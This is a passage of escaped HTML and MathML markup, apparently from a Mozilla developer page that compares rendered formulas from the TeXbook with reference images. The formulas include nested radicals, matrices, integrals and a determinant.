- &lt;mo&gt;&amp;sum;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mfrac linethickness="0px"&gt;
- &lt;mrow&gt;
- &lt;mn&gt;0&lt;/mn&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mi&gt;m&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;mrow&gt;
- &lt;mn&gt;0&lt;/mn&gt;
- &lt;mo&gt;&amp;lt;&lt;/mo&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;mo&gt;&amp;lt;&lt;/mo&gt;
- &lt;mi&gt;n&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/munder&gt;
- &lt;mi&gt;P&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;11&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4580/=ex3.png" width="27" height="18" alt="TeXbook, 16.2-16.3" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;msup&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;mi&gt;y&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;12&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4594/=ex30.png" width="175" height="61" alt="TeXbook, 17.8" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;munderover&gt;
- &lt;mo&gt;&amp;sum;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;mi&gt;p&lt;/mi&gt;
- &lt;/munderover&gt;
- &lt;munderover&gt;
- &lt;mo&gt;&amp;sum;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;mi&gt;q&lt;/mi&gt;
- &lt;/munderover&gt;
- &lt;munderover&gt;
- &lt;mo&gt;&amp;sum;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;k&lt;/mi&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;mi&gt;r&lt;/mi&gt;
- &lt;/munderover&gt;
- &lt;msub&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;msub&gt;
- &lt;mi&gt;b&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;mi&gt;k&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;k&lt;/mi&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;13&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4595/=ex31.png" width="405" height="100" alt="TeXbook, 17.9-17.10" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;14&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4596/=ex34.png" width="272" height="50" alt="TeXbook, 17.10" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;msup&gt;
- &lt;mo&gt;&amp;part;&lt;/mo&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;mrow&gt;
- &lt;mo&gt;&amp;part;&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;msup&gt;
- &lt;mo&gt;&amp;part;&lt;/mo&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;mrow&gt;
- &lt;mo&gt;&amp;part;&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;y&lt;/mi&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;msup&gt;
- &lt;mrow&gt;
- &lt;mo minsize="150%"&gt;|&lt;/mo&gt;
- &lt;mi&gt;&amp;#x3C6; &lt;!-- \varphi --&gt;&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mi mathvariant="normal"&gt;i&lt;/mi&gt;
- &lt;mi&gt;y&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;mo minsize="150%"&gt;|&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;mn&gt;0&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;15&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4581/=ex4.png" width="31" height="22" alt="TeXbook, 16.2-16.3" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;msup&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;msup&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;msup&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;/msup&gt;
- &lt;/msup&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;16&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4597/=ex40.png" width="55" height="49" alt="TeXbook, 18.10-18.11" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;msubsup&gt;
- &lt;mo stretchy="false"&gt;&amp;int;&lt;/mo&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;/msubsup&gt;
- &lt;mfrac&gt;
- &lt;mrow&gt;&lt;mi&gt;d&lt;/mi&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/mrow&gt;
- &lt;mi&gt;t&lt;/mi&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;17&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4599/=ex41.png" width="91" height="47" alt="TeXbook, 18.12-18.13" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mo&gt;&amp;#x222C; &lt;!-- \iint --&gt;&lt;/mo&gt;
- &lt;mi&gt;D&lt;/mi&gt;
- &lt;/msub&gt;
- &lt;mi&gt;d&lt;/mi&gt;&lt;mi&gt;x&lt;/mi&gt;
- &lt;mspace width="thinmathspace"/&gt;
- &lt;mi&gt;d&lt;/mi&gt;&lt;mi&gt;y&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;18&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4600/=ex43.png" width="250" height="66" alt="TeXbook, 18.23" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;mi&gt;f&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mo&gt;{&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;mo&gt;/&lt;/mo&gt;
- &lt;mn&gt;3&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="left"&gt;
- &lt;mrow&gt;
- &lt;mtext&gt;if&amp;nbsp;&lt;/mtext&gt;
- &lt;mn&gt;0&lt;/mn&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;mo&gt;;&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;mo&gt;/&lt;/mo&gt;
- &lt;mn&gt;3&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mtext&gt;if&amp;nbsp;&lt;/mtext&gt;
- &lt;mn&gt;3&lt;/mn&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mn&gt;4&lt;/mn&gt;
- &lt;mo&gt;;&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mn&gt;0&lt;/mn&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="left"&gt;
- &lt;mtext&gt;elsewhere.&lt;/mtext&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;/mrow&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;19&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4601/=ex44.png" width="101" height="44" alt="TeXbook, 18.23-18.24" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mover&gt;
- &lt;mrow&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mo&gt;...&lt;/mo&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;mover&gt;
- &lt;mo&gt;&amp;OverBrace;&lt;/mo&gt;
- &lt;mrow&gt;&lt;mi&gt;k&lt;/mi&gt; &lt;mspace width="thinmathspace"/&gt; &lt;mtext&gt;times&lt;/mtext&gt;&lt;/mrow&gt;
- &lt;/mover&gt;
- &lt;/mover&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;20&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4582/=ex5.png" width="25" height="13" alt="TeXbook, 16.2-16.3" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;y&lt;/mi&gt;
- &lt;msup&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/msub&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;21&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4602/=ex51.png" width="253" height="56" alt="TeXbook, 18.40" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;munder&gt;
- &lt;mo&gt;&amp;sum;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;p&lt;/mi&gt;
- &lt;mtext&gt;&amp;nbsp;prime&lt;/mtext&gt;
- &lt;/mrow&gt;
- &lt;/munder&gt;
- &lt;mi&gt;f&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;p&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;msub&gt;
- &lt;mo stretchy="false"&gt;&amp;int;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;t&lt;/mi&gt;
- &lt;mo&gt;&amp;gt;&lt;/mo&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;mi&gt;f&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;t&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;mspace width="thinmathspace"/&gt;
- &lt;mi&gt;d&lt;/mi&gt;
- &lt;mi&gt;&amp;pi;&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;t&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;22&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4603/=ex52.png" width="159" height="81" alt="TeXbook, 18.41" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;mo stretchy="false"&gt;{&lt;/mo&gt;
- &lt;munder&gt;
- &lt;mrow&gt;
- &lt;mover&gt;
- &lt;mrow&gt;
- &lt;mpadded width="0em"&gt;&lt;mphantom&gt;&lt;mo&gt;(&lt;/mo&gt;&lt;/mphantom&gt;&lt;/mpadded&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mo&gt;...&lt;/mo&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;mover&gt;
- &lt;mo&gt;&amp;OverBrace;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;k&lt;/mi&gt;
- &lt;mtext&gt;&amp;nbsp;&lt;/mtext&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mtext&gt;'s&lt;/mtext&gt;
- &lt;/mrow&gt;
- &lt;/mover&gt;
- &lt;/mover&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mover&gt;
- &lt;mrow&gt;
- &lt;mpadded width="0em"&gt;&lt;mphantom&gt;&lt;mo&gt;(&lt;/mo&gt;&lt;/mphantom&gt;&lt;/mpadded&gt;
- &lt;mi&gt;b&lt;/mi&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mo&gt;...&lt;/mo&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mi&gt;b&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;mover&gt;
- &lt;mo&gt;&amp;OverBrace;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;ell;&lt;/mi&gt;
- &lt;mtext&gt;&amp;nbsp;&lt;/mtext&gt;
- &lt;mi&gt;b&lt;/mi&gt;
- &lt;mtext&gt;'s&lt;/mtext&gt;
- &lt;/mrow&gt;
- &lt;/mover&gt;
- &lt;/mover&gt;
- &lt;/mrow&gt;
- &lt;munder&gt;
- &lt;mo&gt;&amp;UnderBrace;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;k&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mi&gt;&amp;ell;&lt;/mi&gt;
- &lt;mtext&gt;&amp;nbsp;elements&lt;/mtext&gt;
- &lt;/mrow&gt;
- &lt;/munder&gt;
- &lt;/munder&gt;
- &lt;mo stretchy="false"&gt;}&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;23&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4604/=ex53.png" width="213" height="108" alt="TeXbook, 18.42" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;b&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;d&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;e&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;f&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;g&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;h&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mn&gt;0&lt;/mn&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;k&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;l&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;24&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4605/=ex54.png" width="344" height="130" alt="TeXbook, 18.43" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;mi&gt;det&lt;/mi&gt;
- &lt;mo&gt;|&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mn&gt;0&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;mldr;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mi&gt;n&lt;/mi&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mn&gt;3&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;mldr;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;n&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mn&gt;3&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mn&gt;4&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;mldr;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;n&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;#x22EE;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;#x22EE;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;#x22EE;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;#x22EE;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mi&gt;n&lt;/mi&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;n&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;n&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;mldr;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;mi&gt;n&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;mo&gt;|&lt;/mo&gt;
- &lt;mo&gt;&amp;gt;&lt;/mo&gt;
- &lt;mn&gt;0&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;25&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4598/=ex6.png" width="25" height="14" alt="TeXbook, 16.2-16.3" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;msub&gt;
- &lt;mi&gt;y&lt;/mi&gt;
- &lt;msub&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/msub&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
